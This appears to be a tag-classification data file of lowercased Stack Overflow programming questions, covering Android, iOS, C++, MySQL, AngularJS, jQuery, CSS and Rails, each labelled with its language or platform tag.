android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow$decorview.superdispatchtouchevent(phonewindow.java:1659) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow.superdispatchtouchevent(phonewindow.java:1107) 11-14 10:38:37.834: e/androidruntime(509):  at android.app.activity.dispatchtouchevent(activity.java:2061) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow$decorview.dispatchtouchevent(phonewindow.java:1643) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow$decorview.superdispatchtouchevent(phonewindow.java:1659) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow.superdispatchtouchevent(phonewindow.java:1107) 11-14 10:38:37.834: e/androidruntime(509):  at android.app.activity.dispatchtouchevent(activity.java:2061) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow$decorview.dispatchtouchevent(phonewindow.java:1643) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewgroup.dispatchtouchevent(viewgroup.java:884) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow$decorview.superdispatchtouchevent(phonewindow.java:1659) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow.superdispatchtouchevent(phonewindow.java:1107) 11-14 10:38:37.834: e/androidruntime(509):  at android.app.activity.dispatchtouchevent(activity.java:2061) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.policy.impl.phonewindow$decorview.dispatchtouchevent(phonewindow.java:1643) 11-14 10:38:37.834: e/androidruntime(509):  at android.view.viewroot.handlemessage(viewroot.java:1691) 11-14 10:38:37.834: e/androidruntime(509):  at android.os.handler.dispatchmessage(handler.java:99) 11-14 10:38:37.834: e/androidruntime(509):  at android.os.looper.loop(looper.java:123) 11-14 10:38:37.834: e/androidruntime(509):  at android.app.activitythread.main(activitythread.java:4363) 11-14 10:38:37.834: e/androidruntime(509):  at java.lang.reflect.method.invokenative(native method) 11-14 10:38:37.834: e/androidruntime(509):  at java.lang.reflect.method.invoke(method.java:521) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:860) 11-14 10:38:37.834: e/androidruntime(509):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:618) 11-14 10:38:37.834: e/androidruntime(509):  at dalvik.system.nativestart.main(native method) </code></pre>   here s the full activity code:   <pre><code>public class projectslist extends activity implements onitemclicklistener{     /** called when the activity is first created. */      listview listview;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.projects_list);          dosync();         listview listview = (listview) findviewbyid(r.id.lsttext);         listview.setonitemclicklistener(this);         listview.setadapter(new mysimplecursoradapter(this  r.layout.listitems                  managedquery(uri.withappendedpath(provider.content_uri                          database.project.name)  new string[] { basecolumns._id                          database.project.c_projecttitle                          database.project.c_smallimage  database.project.c_projectdescription  database.project.c_organizationtitle  database.project.c_donationamount  database.project.c_keyword  database.project.c_price  database.project.c_shortcode}  null  null  null)                  new string[] { database.project.c_projecttitle                          database.project.c_smallimage  database.project.c_projectdescription  database.project.c_organizationtitle  database.project.c_donationamount}  new int[] {                         r.id.txt_title  r.id.image  r.id.txt_list_desc  r.id.txt_org  r.id.btn_amount}));      }      public void onitemclick(adapterview&lt; &gt; l  view v  int position  long id) {         intent listintent = new intent(this  detailsactivity.class);         listintent.putextra( spendino.de.projectdetail.position  position);         listintent.setdata(uri.withappendedpath(uri.withappendedpath(                 provider.content_uri  database.project.name)  long                 .tostring(id)));         startactivity(listintent);      }      /*     @override     public boolean onoptionsitemselected(menuitem item) {         switch (item.getitemid()) {         case r.id.ui_menu_sync:             dosync();             return true;         default:             return super.onoptionsitemselected(item);         }     } */     @override     public boolean oncreateoptionsmenu(menu menu) {         menuinflater inflater = getmenuinflater();         inflater.inflate(r.menu.menu  menu);         return true;     }      void dosync() {         intent serviceintent = new intent(this  sync.class);         startservice(serviceintent);     }       class mysimplecursoradapter extends simplecursoradapter {          context context=null;         imageloader loader = null;         private layoutinflater minflater = null;         private int mprojectnameindex = -1;         private int morgnameindex = -1;         private int mdescindex = -1;         private int mdonationindex = -1;         private int msmallimageindex = -1;         private int mkeywordindex = -1;         private int mpriceindex = -1;         private int mshortcodeindex = -1;            public mysimplecursoradapter(context context  int layout  cursor c                  string[] from  int[] to) {             super(context  layout  c  from  to);             loader = new imageloader(context);             this.context = context;              minflater = getlayoutinflater();                 mprojectnameindex = c.getcolumnindexorthrow(database.project.c_projecttitle);             morgnameindex = c.getcolumnindexorthrow(database.project.c_organizationtitle);             mdescindex = c.getcolumnindexorthrow(database.project.c_projectdescription);             mdonationindex = c.getcolumnindexorthrow(database.project.c_donationamount);             msmallimageindex = c.getcolumnindexorthrow(database.project.c_smallimage);             mkeywordindex = c.getcolumnindexorthrow(database.project.c_keyword);             mpriceindex = c.getcolumnindexorthrow(database.project.c_price);             mshortcodeindex = c.getcolumnindexorthrow(database.project.c_shortcode);          }          @override         public view newview(context context  cursor cursor  viewgroup parent) {             view convertview = minflater.inflate(r.layout.listitems  null);             convertview.setclickable(true);             convertview.setfocusable(true);             convertview.setbackgroundresource(android.r.drawable.menuitem_background);             //convertview.setonitemclicklistener(projectslist.this);              convertview.setonclicklistener(new onclicklistener() {                  public void onclick(view view) {                       /*                   intent myintent = new intent(view.getcontext()  detailsactivity.class);                   string position = null;                 myintent.putextra( spendino.de.projectdetail.position  position);                   long id = 0;                 myintent.setdata(uri.withappendedpath(uri.withappendedpath(                             provider.content_uri  database.project.name)  long                             .tostring(id)));                   view.getcontext().startactivity(myintent);                  }                 });*/              }                    });                    return convertview;         }          protected void onitemclick(adapterview&lt; &gt; l  view v  int position  long id) {             intent listintent = new intent(projectslist.this  detailsactivity.class);             listintent.putextra( spendino.de.projectdetail.position  position);             listintent.setdata(uri.withappendedpath(uri.withappendedpath(                     provider.content_uri  database.project.name)  long                     .tostring(id)));             startactivity(listintent);}          @override         public void bindview(view view  context context  cursor cursor) {             // get your views from  view              textview projecttextview = (textview) view.findviewbyid(r.id.txt_title);             textview orgtextview = (textview) view.findviewbyid(r.id.txt_org);             textview desctextview = (textview) view.findviewbyid(r.id.txt_list_desc);             imageview someimageview = (imageview) view.findviewbyid(r.id.image);             button donate_now = (button) view.findviewbyid(r.id.btn_donate);             button btn_amount = (button) view.findviewbyid(r.id.btn_amount);             donate_now.setfocusable(true);             donate_now.setclickable(true);             // set the data             projecttextview.settext(cursor.getstring(mprojectnameindex));             orgtextview.settext( von   + cursor.getstring(morgnameindex));             desctextview.settext(html.fromhtml(cursor.getstring(mdescindex)+ ... ));             btn_amount.settext( summe spende:   + cursor.getstring(mdonationindex)+  € );              donate_now.setonclicklistener(new onclicklistener() {                  public void onclick(view view) {                        alertdialog.builder alertbox = new alertdialog.builder(view.getcontext());                                             alertbox.settitle( sms );                                             alertbox.setmessage (html.fromhtml(( ihr sms wird vorbereitet. bitte bestätigen sie mit  ok  und senden sie danach die sms ab! &lt;p&gt;&lt;small&gt;sie helfen dem projekt mit   +mpriceindex +  . betrag je sms zzgl. transport. der betrag abzüglich 17 cent geht direkt an die partner-organisation. )));                                               alertbox.setneutralbutton( ok   new dialoginterface.onclicklistener() {                                                  public void onclick(dialoginterface arg0  int arg1) {                                                     intent sendintent = new intent(intent.action_view);                                                     sendintent.putextra( address   mshortcodeindex);                                                      sendintent.putextra( sms_body   mkeywordindex);                                                      sendintent.settype( vnd.android-dir/mms-sms );                                                     startactivity(sendintent);                                                 }                                         });                                             alertbox.show();              }                    });                loader.displayimage(cursor.getstring(msmallimageindex )  context  someimageview);               }           public void setviewimage(imageview v  string value) {             v.settag(value);             loader.displayimage(value  context  v);         }     }   } </code></pre>,android
how to convert from nsmutablearray to nsmutabledata   how to convert from nsmutablearray to nsmutabledata,iphone
how can i cover the entire iphone screen with the keyboard being show   imagine a simple translucent mask that i d like to cover the whole iphone screen:   <pre><code>  uiview *maskview = [[uiview alloc] initwithframe:cgrectmake(0.0  0.0  self.view.frame.size.width  self.view.frame.size.height)];    maskview.backgroundcolor = [uicolor blackcolor];    maskview.alpha = 0.0f;    maskview.userinteractionenabled = no;      [[[uiapplication sharedapplication] keywindow] addsubview:maskview];       [uiview animatewithduration:.7 delay:.5f options:uiviewanimationcurveeaseout                      animations:^{                       maskview.alpha = .3f;      }                      completion:^(bool finished) {      }]; </code></pre>   however  the screen is displaying the keyboard ( i have made a textfiled in the view a first responder).    how can i cover the keyboard with my maskview,objective-c
how to make a phone call and return to the original app afterwards  if i use uiwebview to display a phone number and set the data detector type to uidatadetectortypephonenumber  then when i click on the number its possible to make a phone call.    <em>after the phone call has ended i am returned back to my app</em>.    however if i attempt to programatically invoke the phone app using    <pre><code> [[uiapplication sharedapplication] openurl:[nsurl urlwithstring:@ tel:123456789 ]]; </code></pre>   or    <pre><code> [[uiapplication sharedapplication] openurl:[nsurl urlwithstring:@ tel://123456789 ]]; </code></pre>   then it is not possible to return back to my app after the call has finished.    is it possible to be able to programmatically launch the phone app and then return back to my app after the call is finished  the same as if the user clicks on a number in a uiwebview,ios
displaying image in gridview column  i have image in the image folder and in my oracle database i have a column with the name img which has the name of    the image like  ab.jpg    i have another column with name img1 which is storing the whole url  like  images/ab.jpg    i can see all the values of my database table in my dataset as well including img column and img1 column    in my aspx file i wrote code        but it is not displaying anything  however aspx page is working fine  it is showing a field but no image and it is blank  same is    the case with img1 column as well    why is it so   what is wrong that i am doing     i dont want to store image in database  so i store it in the folder    what method should i adopt to make it work     <strong>update</strong>    thats my code   <pre><code>&lt;columns&gt; &lt;asp:boundfield datafield=  dd  htmlencode= false  headerstyle-bordercolor= green                   headerstyle-font-bold= true  headerstyle-font-names= arial                   headerstyle-width= 100%  headerstyle-wrap= true  headertext= head                   itemstyle-width= 100%  &gt;                 &lt;itemstyle bordercolor= green  horizontalalign= center  wrap= true  /&gt;             &lt;/asp:boundfield&gt;  &lt;asp:templatefield&gt;       &lt;itemtemplate&gt;         &lt;asp:image id= image1  imageurl= ~/images/ab.jpg  runat= server  /&gt;       &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;  &lt;asp:boundfield datafield= cc  headertext= sheet  /&gt;   &lt;/columns&gt; </code></pre>   if i look at design section it is giving me  image sign with a cross but not showing the actual image    location of image is    i have folder a and there i have sub folder images and mywebpage so both mywebpage and images folder is in folder a    i have used paths as ~/images/ab.jpg and ~a/images/ab.jpg and in both cases it does not work    method below does not work either        using oracle database  which is showing image url columns on dataset and even on grid as mentioned in my last post    what wrong am i doing     any solution,asp.net
how do i connect a mixer with an augraph  i want to create an augraph that has the following audiounits:   <ul> <li>1 * 440hz sine wave generator</li> <li>1 * 880hz sine wave generator</li> <li>1 * mixer</li> <li>1 * output</li> </ul>   if i connect my sine wave generators to my mixer  then the mixer to the output i get no sound.    if i connect a sine wave generator directly to the output i do get sound  probably because the output unit connects to the sine wave generator callback.    is there something i m missing with how this should be connected     full code sample  connect 1 * joins 1 is not working  comment these out and run connect 2 and joins 2 to hear the sine wave working   <pre><code>    // //  main.c //  testaudiounit // //  created by chris davis on 25/08/2013. //  copyright (c) 2013 chris davis. all rights reserved. //  #include &lt;corefoundation/corefoundation.h&gt; #import &lt;audiotoolbox/audiotoolbox.h&gt;  typedef struct myaugraphplayer {     audiostreambasicdescription streamformat;      augraph graph;     aunode output;     aunode mixer;     aunode sine;     audiounit audiounits[3];       audiobufferlist *inputbuffer;       float64 firstinputsampletime;     float64 firstoutputsampletime;     float64 intooutsampletimeoffset; } myaugraphplayer;  osstatus sinewaverendercallback(void * inrefcon                                  audiounitrenderactionflags * ioactionflags                                  const audiotimestamp * intimestamp                                  uint32 inbusnumber                                  uint32 innumberframes                                  audiobufferlist * iodata) {     // inrefcon is the context pointer we passed in earlier when setting the render callback     double currentphase = *((double *)inrefcon);     // iodata is where we re supposed to put the audio samples we ve created     float32 * outputbuffer = (float32 *)iodata-&gt;mbuffers[0].mdata;     const double frequency = 880.0;     const double phasestep = (frequency / 44100.) * (m_pi * 2.);      for(int i = 0; i &lt; innumberframes; i++) {         outputbuffer[i] = sin(currentphase);         currentphase += phasestep;     }      // if we were doing stereo (or more)  this would copy our sine wave samples     // to all of the remaining channels     for(int i = 1; i &lt; iodata-&gt;mnumberbuffers; i++) {         memcpy(iodata-&gt;mbuffers[i].mdata  outputbuffer  iodata-&gt;mbuffers[i].mdatabytesize);     }      // writing the current phase back to inrefcon so we can use it on the next call     *((double *)inrefcon) = currentphase;     return noerr; }   int main(int argc  const char * argv[]) {      myaugraphplayer *player = {0};     myaugraphplayer p = {0};     player=&amp;p;      newaugraph(&amp;player-&gt;graph);       //output     {     audiocomponentdescription description = {         .componenttype = kaudiounittype_output          .componentsubtype = kaudiounitsubtype_defaultoutput          .componentmanufacturer = kaudiounitmanufacturer_apple     };     augraphaddnode(player-&gt;graph  &amp;description  &amp;player-&gt;output);     audiocomponent comp = audiocomponentfindnext(null  &amp;description);     audiocomponentinstancenew(comp  &amp;player-&gt;audiounits[0]);     audiounitinitialize(player-&gt;audiounits[0]);     audiostreambasicdescription asbd = {         .msamplerate       = 44100          .mformatid         = kaudioformatlinearpcm          .mformatflags      = kaudioformatflagsnativefloatpacked          .mchannelsperframe = 1          .mframesperpacket  = 1          .mbitsperchannel   = sizeof(float32) * 8          .mbytesperpacket   = sizeof(float32)          .mbytesperframe    = sizeof(float32)     };     audiounitsetproperty(player-&gt;audiounits[0]                           kaudiounitproperty_streamformat                           kaudiounitscope_global                           0                           &amp;asbd                           sizeof(asbd));     }      //mixer     {         audiocomponentdescription description = {             .componenttype = kaudiounittype_mixer              .componentsubtype = kaudiounitsubtype_stereomixer              .componentmanufacturer = kaudiounitmanufacturer_apple         };         augraphaddnode(player-&gt;graph  &amp;description  &amp;player-&gt;mixer);         audiocomponent comp = audiocomponentfindnext(null  &amp;description);         audiocomponentinstancenew(comp  &amp;player-&gt;audiounits[1]);         audiounitinitialize(player-&gt;audiounits[1]);      }       //sine     {         audiocomponentdescription description = {             .componenttype = kaudiounittype_generator              .componentsubtype = kaudiounitsubtype_scheduledsoundplayer              .componentmanufacturer = kaudiounitmanufacturer_apple         };         augraphaddnode(player-&gt;graph  &amp;description  &amp;player-&gt;sine);         audiocomponent comp = audiocomponentfindnext(null  &amp;description);         audiocomponentinstancenew(comp  &amp;player-&gt;audiounits[2]);         audiounitinitialize(player-&gt;audiounits[2]);      }        //connect 1     {         aurendercallbackstruct callbackinfo = {             .inputproc       = sinewaverendercallback              .inputprocrefcon = player         };          audiounitsetproperty(player-&gt;audiounits[1]                                          kaudiounitproperty_setrendercallback                                          kaudiounitscope_global                                          0                                          &amp;callbackinfo                               sizeof(callbackinfo));      }      //joins 1 - sine to mixer to outout     {         augraphconnectnodeinput(player-&gt;graph                                  player-&gt;sine                                  0                                  player-&gt;mixer                                  0);          augraphconnectnodeinput(player-&gt;graph                                  player-&gt;mixer                                  0                                  player-&gt;output                                  0);      }      //connect 2     /*{         aurendercallbackstruct callbackinfo = {             .inputproc       = sinewaverendercallback              .inputprocrefcon = player         };          audiounitsetproperty(player-&gt;audiounits[0]                               kaudiounitproperty_setrendercallback                               kaudiounitscope_global                               0                               &amp;callbackinfo                               sizeof(callbackinfo));      }       //joins 2 - sine direct to output     {         augraphconnectnodeinput(player-&gt;graph                                  player-&gt;sine                                  0                                  player-&gt;output                                  0);     }*/      augraphinitialize(player-&gt;graph);     player-&gt;firstoutputsampletime = -1;     audiooutputunitstart(player-&gt;audiounits[0]);     augraphstart(player-&gt;graph);      printf( enter key to stop\n );     getchar();      return 0; } </code></pre>,objective-c
how to prevent two actions at a time in android  i have a textview and a listview in my page if we click an item in listview or textview it will take us to diffrent different views.my problem is am able to click both textview and listview item at a time how to block this,android
isolate scope in directive undefined  i m having trouble creating a directive  since the isolate scope does not get passed from the html and gives me undefined in the directives controller.    <strong>lmloop definition</strong>   <pre><code>angular.module( loops.directives )  .directive( lmloop   function() {    return {      restrict:  e        templateurl:  modules/loops/partials/loop.tpl.html        scope: {        loop:  =        }       controller: [ $scope    $log          function($scope  $log) {          console.log($scope.loop);   // undefined        }      ]   } }); </code></pre>   <strong>modules/loops/partials/loop.tpl.html</strong>   <pre><code>&lt;div class= loop-container &gt;   testing: {{ loop.message }}  &lt;!-- empty --&gt; &lt;/div&gt; </code></pre>   how im trying to <strong>use</strong> my directive   <pre><code>&lt;div class= loops-container &gt;   &lt;lm-loop ng-repeat= loop in loops  loop= loop /&gt; &lt;/div&gt; </code></pre>   this renders the view correctly  meaning that it repeats the right amount of times  once for each item in the array  but it does not pass the variable  loop  and the div stays empty. but when i do the following it <em>renders correctly</em> and <em>displays the message</em>   <pre><code>&lt;ul&gt;   &lt;li ng-repeat= loop in loops &gt;     {{ loop.message }}  &lt;!-- works!!! --&gt;   &lt;/li&gt; &lt;/ul&gt; </code></pre>   the <strong><em>directive</em></strong> and the <strong><em>ul</em></strong> are both inside another directive. that directive gets the <em>loops</em> by a service like this:   <pre><code>controller: function($scope) {    loopservice.getloops($scope.group._id  function(loops) {     $scope.loops = loops;   }  function(err) {     $log.error(err);   });    ... other code ...  } </code></pre>   i don t know whether the asynchronous call to the service gets the data after the  <strong>lmloop</strong> directive gets instantiated and therefore makes the data undefined  or maybe (probably) i m doing something else wrong,angularjs
return statement in objective c for binary search tree search function  i want to write a search function for a binary search tree. how can i write it so that i can return from the base case <code>if(root.data == node.data){return node;}</code> without getting compiler warnings about the method returning nothing. in this case  root is an ivar that s part of the bst class that these methods are a part of.    <pre><code>-(node*)search:(node*)node{     if(root == nil){         return node;     }      if(root.data == node.data){         return node;     }      if (node.data &lt; root.data){         root = root.left;         [self search:root];     }      if (node.data &gt; root.data) {         root = root.right;         [self search:root];     } } </code></pre>,objective-c
i wrote a web page and want to display on the phone. how do i adjust the background image   i wrote a web page and i want to display it on a phone now  but the background picture is too big to display fully  how to adjust    <pre><code>&lt;td width= 60%  height= 105  background= templets/images/top_logo.jpg  align= left &gt; </code></pre>   it is normal in the computer web browser  but on the phone  it can shows only a part of the image  not scaled down.    i assume that there s a simple  one- or two-liner to make this happen. where can i find an example of it,html
only getting unique timestamped rows that match interval  i have these two tables...    products:   <pre><code>id product_id store_id 1  242234     54034 2  224222     83820 3  839202     24224 4  939284     54034 </code></pre>   pricing:   <pre><code>product_id last_update          source 242234     2016-02-11 12:00:00  7 242234     2016-02-12 12:00:00  7 242234     2016-02-13 12:00:00  7 839202     2016-02-14 12:00:00  3 839202     2016-02-15 12:00:00  3 839202     2016-02-16 12:00:00  3 939284     2016-01-08 12:00:00  7 939284     2016-02-15 12:00:00  7 939284     2016-02-16 12:00:00  7 </code></pre>   i want to get only the <code>products.id</code> values whose <code>pricing.last_update</code> only have <code>pricing.last_update</code> older than 3 days. if there is a row with a more recent update in the pricing table for the <code>pricing.product_id</code>  then i want to ignore that <code>pricing.product_id</code> entirely.    to do that  i ve tried this query  but it still returns ids that have newer entries:   <pre><code>select     pps.id from     pricing pr join     products pps         on pps.product_id = pr.product_id where     pr.source = 7 and     pps.store_id = 54034 group by     pps.id having     pr.last_update &lt; now() - interval 3 day order by     pr.last_update desc; </code></pre>   from the example given  it should only return <code>pps.id</code> = <code>242234</code> but instead it also returns <code>939284</code>.    how would i structure my query for this,mysql
regex for mobile number with maximum number of 10  here s what i ve tried so far. is there something wrong with my regex    <pre><code>^( :|0|[1-9]\\d*)( :\\.\\d*) .{10}$ </code></pre>   what i did was values must be numbers only and with a maximum number of 10. i have no idea what my code doesn t catch when i input more than 10 numbers.,ios
jquery-rails how to specify jquery version  i m using gem  jquery-rails  v v4.0.5 in a rails 4 app. i m also using gem  jquery-datatables-rails    ~> 3.3.0 .    datatables is giving me an error:   <pre><code>uncaught typeerror: cannot use  in  operator to search for  length  in isarraylike @ jquery.self- </code></pre>   i have looked up the error and it s because i m using jquery v 1.11.3    if i look at jquery-rails/lib/jquery/rails/version   <pre><code>module jquery          module rails          version =  4.0.5           jquery_version =  1.11.3           jquery_2_version =  2.1.4           jquery_ujs_version =  1.1.0           end      end </code></pre>   how can i get the gem to use a different version of jquery,ruby-on-rails
how does a macro like #define dcl_prop(prop) work   recently  i got some brand new code to me during my work  and i m confused about how those code worked out. after searching and only to find out little information  i came here for help.    so here comes the code:      <pre><code>#define dcl_prop(prop) \   private: \       std::string prop; \   public: \       user&amp; set_##prop(const std::string&amp; prop) \       { \           this-&gt;prop = prop; \           return *this; \       } \       const std::string&amp; get_##prop() \       { \           return prop; \       } </code></pre>   what does it mean,c++
c++ implementing callback functions  i know this question has been discussed many other times but it seems i can find an answer that i can fully understand.    my question is how to pass a member function to a second class as a callback in cpp and without using boost library.    i keep encountering api calls where callback logic is implemented like this.  entity.func(myclass::somemethod  this);    and i d like to use this kind of notation;    ----------------------------devicehub class-------------------------    <code>devicehub</code> instantiates n <code>virtualdevice</code>s that requires a <code>devicehub</code> method to be passed as callback so that the <code>virtualdevice</code> object can notify the <code>devicehub</code> object.   <pre><code>class devicehub{   public:    devicehub(int n);   virtual ~devicehub();    int virtualdevicecallback(std::string s);    std::vector&lt;virtualdevice&gt; virtual_devices; }  devicehub::devicehub(int n){   int i;   for(i = 0; i &lt; n; i++){      virtualdevice vd = virtualdevice(... this); //pass callback method and context      virtual_devices.push_back(vd);   } }   devicehub::virtualdevicecallback(std::string s){   /*do something...*/  } </code></pre>   ----------------------------virtualdevice class-------------------------   <pre><code>class virtualdevice{    public:     virtualdevice(callbackmethod  context);   virtual ~virtualdevice();   int id; }  virtualdevice::virtualdevice(callbackmethod  context){     //do something     //than fire callback     //context.callbackmethod( some string ); } </code></pre>,c++
basic c++ redefinition error  i ve been reading about header guards and and their use to solve redefinition errors  but i m not quite sure how to implement it properly. here s an simplified example of what i m trying to do:    <strong>filea.h</strong>   <pre><code>#include first_header.h #include second_header.h  // code here </code></pre>   <strong>fileb.h</strong>   <pre><code>#include first_header.h #include second_header.h  // code here </code></pre>   <strong>mainfile.cpp</strong>   <pre><code>#include filea.h #include fileb.h  // code here </code></pre>   now the problem comes in the mainfile.cpp since i need to include both the filea.h and fileb.h headers  but each of these contains the same header references thus giving me the redefinition error. i m not really sure how to get around it or implement the header guards properly in this scenario.,c++
switching views with segmented controller iphone  i present a uiviewcontroller modally. on this screen i want a uitoolbar at the bottom with a segmented controller with 2 options. what is the correct way of doing this  i want the toolbar and segmented controller to be visible on both uiviewcontroller that the user can toggle between. one approach would be to add a toolbar and segmented controller to both viewcontrollers but this would duplicate the code  and probaly is not correct way of doing it.     any help much appriciated.,iphone
c++: why do i not need to dereference for initialising dynamic arrays   given the code below:   <pre><code>double** vr(new double*[nx]);   vr[i]=new double[ny]; for(int i=0;i&lt;nx;++i) { //loop 200times     for(int j=0;j&lt;ny;++j) { //loop 200times          vr[i][j]=double(i*i*i*j*c1);      } } </code></pre>   for <code>vr[i][j] = double(i * i * i * j * c1);</code>    why is it not required to address the value using <code>*</code> for example <code>*(vr[i][j])</code>.    it is just an address isnt it,c++
how to create grid button on iphone. 10/10 matrix  how to create grid of buttons on iphone. 10/10 matrix...    i found nsmatrix for mac ... not for iphone...    any alternative way to create grid of button on my view.    @thanks in advance.,iphone
converting value type inside class property  hi i am having a simple problem  i am trying to convert (value is datetime and i want to convert it to string) value type inside class to another type  so far i have tried:   <pre><code>    private string timestamp;      public string timestamp     {         get =&gt; timestamp;         set         {             if (value != timestamp)             {                 timestamp = (datetime)value.tostring( dd / mm / yyyy hh : mm : ss.fff );             }         }      } </code></pre>   but with no luck. is there a solution for this,c#
"jquery fade elements on click  i m a noobie in the programming field and i ve been messing around with jquery and i was wondering how can i achieve the following:    please take a look so you can understand better what i want to reach<br> this is what i ve come up with: <a href= http://jsfiddle.net/whok7345/2wddabnx/  rel= nofollow >http://jsfiddle.net/whok7345/2wddabnx/</a> (snippet below)    <div class= snippet  data-lang= js  data-hide= true >
 <div class= snippet-code snippet-currently-hidden >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).ready(function (e) {
     $( #menu ).accordion({
         collapsible: true 
         active: false
     });
     $( #stuff_header ).click(function (e) {
         $( #stuff_header_1 ).fadeout( slow );
         $( #stuff_header_2 ).fadeout( slow );
         $( #stuff_header ).click(function (e) {
             $( #stuff_header_1 ).fadein( slow );
             $( #stuff_header_2 ).fadein( slow );
         });
     });
 
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link href= //code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css  rel= stylesheet /&gt;
 &lt;script src= //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;script src= //code.jquery.com/ui/1.9.2/jquery-ui.js &gt;&lt;/script&gt;
 &lt;div id= menu &gt;
     
 &lt;h4 id= stuff_header &gt;stuff&lt;/h4&gt;
 
     &lt;ul id= ul_header &gt;
         &lt;li&gt;stuff1&lt;/li&gt;
         &lt;li&gt;stuff2&lt;/li&gt;
         &lt;li&gt;stuff3&lt;/li&gt;
         &lt;li&gt;stuff4&lt;/li&gt;
         &lt;li&gt;stuff5&lt;/li&gt;
         &lt;li&gt;stuff6&lt;/li&gt;
     &lt;/ul&gt;
     
 &lt;h4 id= stuff_header_1 &gt;more stuff&lt;/h4&gt;
 
     &lt;ul id= ul_header &gt;
         &lt;li&gt;stuff1&lt;/li&gt;
         &lt;li&gt;stuff2&lt;/li&gt;
         &lt;li&gt;stuff3&lt;/li&gt;
         &lt;li&gt;stuff4&lt;/li&gt;
         &lt;li&gt;stuff5&lt;/li&gt;
         &lt;li&gt;stuff6&lt;/li&gt;
     &lt;/ul&gt;
     
 &lt;h4 id= stuff_header_2 &gt;javascript&lt;/h4&gt;
 
     &lt;ul id= ul_header &gt;
         &lt;li&gt;stuff1&lt;/li&gt;
         &lt;li&gt;stuff2&lt;/li&gt;
         &lt;li&gt;stuff3&lt;/li&gt;
         &lt;li&gt;stuff4&lt;/li&gt;
         &lt;li&gt;stuff5&lt;/li&gt;
         &lt;li&gt;stuff6&lt;/li&gt;
     &lt;/ul&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     click on  stuff  and you ll notice that the other two headers fade out  click on it again and the other headers fade in.    everything good so far but when i try to do it again the two other headers fade in and out and the effect seen in as soon as the page loads doesn t happen anymore.     can somebody help me to get that effect anytime i want",jquery
access every button in a uiview on the iphone  what i want to do is ideally loop through all buttons in a uiview (i have a lot  over 40 buttons)  and depending on the tag  change the image that the button is displaying. does anyone know how i can do this     thanks!!!!,iphone
making background image translucent  i have a background image for whole page and another for content div. what i  want is the background image of content div should be semi transparent so that some of the background image(for the whole page) below it should also be visible.<br> i also tried reducing the opacity of my .png background file using image editor but it didn t show my the background below   instead the image just got lightened.,css
wont let me run rails s because there is another server running but i don t know how to access that server  how do i close the old server even though i can t see its terminal anymore so i can access my project     i tried exiting out of the program then exiting back in but nothing would work. keeps bringing up this error:   <blockquote>    a server is already running. check c:/users/nathan/documents/aptana studio 3 workspace/nathans first project/tmp/pids/server.pid.   exiting  </blockquote>,ruby-on-rails
